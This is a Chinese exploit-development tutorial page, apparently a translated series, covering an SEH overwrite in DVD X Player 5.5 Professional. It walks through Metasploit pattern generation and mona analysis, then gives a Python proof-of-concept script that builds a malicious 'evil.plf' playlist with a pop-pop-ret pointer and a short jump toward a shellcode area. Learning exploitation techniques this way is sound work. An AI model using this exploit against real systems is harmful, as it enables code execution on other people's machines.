- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
覆写 SEH 和 Nseh
接下来用 metasploit 模式字符串替换原字符串(注意保持缓冲区长度一致).
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/ root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 2000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah 0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5 [...snip...] f5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj 0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5 Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co
重复前面步骤,用 mona 分析崩溃. 如下图,我们关心的是覆写 SEH, 从图中可以知道 612 字节可以覆盖到 SEH.
不错,接下来我们用下面这样子来替换前面代码相应部分。
buffer = "A"*608 + [nSEH] + [SEH] + "D"*1384 buffer = "A"*608 + "B"*4 + "C"*4 + "D"*1384
记住我们要把要用 pop pop retn 指令覆写 SEH,.用 mona 的
!mona seh
可以帮助我们找到这条指令.看下图,值得一提的是, mona 已经过滤掉来自 SafeSEH 模块的指针。
这些地址大部分都可以用,记住不包含坏字符即可. 通常我会选择 pop pop retn 而不是 pop pop retn n. 在 immunity debugger 的安装目录下找到 SEH.txt, 里面有 2968 个合法的指针. 有序小序的 CPU 架构,需要扭转字节顺序。
Pointer: 0x61617619 : pop esi # pop edi # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll) Buffer: buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384
我们先不管 nSEH, 在调试的时候再看看需要填充什么才合适. 注意 pop pop retn 指令来自 DVD Player 的 EPG.dll 模块,这意味着这个漏洞利用程序更稳定,新的 POC 看起来像下面这样子:
#!/usr/bin/python -w filename="evil.plf" #---------------------------------------------------------------------------# # (*) badchars = '\x00\x0A\x0D\x1A' # # # # offset to: (2) nseh 608-bytes, (1) seh 112-bytes # # (2) nseh = ???? # # (1) seh = 0x61617619 : pop esi # pop edi # ret | EPG.dll # # (3) Shellcode space = 1384-bytes # #---------------------------------------------------------------------------# buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384 textfile = open(filename , 'w') textfile.write(buffer) textfile.close()
重新生成 plf 文件并调试打开它, Shift+F9 通过第一次异常后触发了我们的断点. 如下图
完美,如果继续 F7 单步执行,最终程序会执行到 BBBB(Nseh). 我们可以看到覆盖在 SEH 的指针被转化为操作码,我们可以用 Shellcode 替换 SEH 后面的”D”*1384, 现在只需要在 nSEH 写入跳转指令以便跳到”D”*1384,也就是 Shellcode. 可以用调试器完成,观察下面的图:
我们需要往后跳至少 4 个字节(\x90\x90+SEH) 才能跳到位于 SEH 之后的 Shellcode, 新的缓冲区布置如下:
buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + "D"*1384
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论